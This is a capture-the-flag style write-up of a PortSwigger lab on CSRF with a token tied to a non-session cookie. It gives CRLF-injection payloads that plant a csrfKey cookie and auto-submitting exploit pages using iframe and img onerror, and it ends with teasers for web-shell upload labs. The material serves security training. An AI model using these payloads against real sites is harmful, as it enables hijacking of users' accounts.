On this page
CSRF where Token is Tied to Non-Session Cookie
Lab
CSRF where token is tied to non-session cookie · Practitioner
Solution
Given: we need to change the user's email by creating a malicious page, bypassing the CSRF-token defense along the way. OK, let's study how the email change works.
The hidden CSRF field — 6m9B7huvo0lU04m7EVxdWFMD7jDLb8J1. Look at the cookies: session and csrfKey. Interesting. Check the POST /change-email request. It sends email + CSRF from the hidden field. And of course the cookies.
So the server checks that the csrf token matches csrfKey, session is not used in the validation.
Attack vector: substitute the victim's csrfKey cookie and supply the matching csrf token. We're given an exploit server.
Key question — how do we set a cookie on the victim? As my mentor suggested, we can look toward a \r\n attack and inject our own Set-Cookie header, given that there's a function on the site that reflects into this header.
Looks like the search function is the only candidate. Try searching for wr3dmast3r. Indeed:
set-cookie: LastSearchTerm=wr3dmast3r; Secure; HttpOnly
So the payload could look like this — ?search=wr3dmast3r%0d%0aSet-Cookie:%20csrfKey=hacked%3B%20path=%2F:
GET /?search=test%0d%0aSet-Cookie:%20csrfKey=some%3B%20path=%2F HTTP/2
Server response:
Set-Cookie: LastSearchTerm=test
Set-Cookie: csrfKey=hacked; path=/; Secure; HttpOnly
For the full attack we host on the exploit server a page with an iframe and a password-change form, which will load the search page with our payload (which sets a pre-prepared csrfKey in the user's cookies), and on onload we submit the form with a pre-prepared csrf token — and that's how we change the password.
Form:
<form id="csrf" action="LAB URL + /my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="TOKEN">
</form>
iframe:
<iframe src="https://LAB/?search=x%0d%0aSet-Cookie:%20csrfKey=KEY%3B%20path=%2F"
onload="document.getElementById('csrf').submit()}"></iframe>
Make a request to /my-account and grab the key and token for the attack:
csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi
csrf=g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J
Final:
<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>
<iframe src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F"
onload="document.getElementById('csrf').submit()}"></iframe>
Problem, X-Frame-Options is set:
Refused to display 'https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/' in a frame because it set 'X-Frame-Options' to 'sameorigin'.
We can try img, after all we only need to fire the request. Only the handler will be onerror:
<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F" onerror="document.getElementById('csrf').submit()}">
Final 2:
<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>
<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F" onerror="document.getElementById('csrf').submit()">
Strange, checking on my own account. Our image request fires https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F, OK, our cookies are set: csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi;.
After that we submit the form, it has csrf — g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J. And we look at the cookies, oops, there's a different csrfKey — csrfKey=Fwfr4OYp5ZylU8JjNAQt6ZSKfrfRqvr4;.
Apparently it doesn't get set after all.
Read up, will try setting SameSite=None;.
Final 3:
<form id="csrf" action="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/my-account/change-email" method="POST">
<input name="email" value="wr3dmast3r@m.com">
<input name="csrf" value="g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J">
</form>
<img src="https://0adc008703793a5cb59757ad003c00b7.web-security-academy.net/?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F%3B%20SameSite=None%3B%20Secure" onerror="document.getElementById('csrf').submit()">
Nice, tested on myself — seems to work! Let's submit it for grading.
I don't get it, PortSwigger isn't accepting it...
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.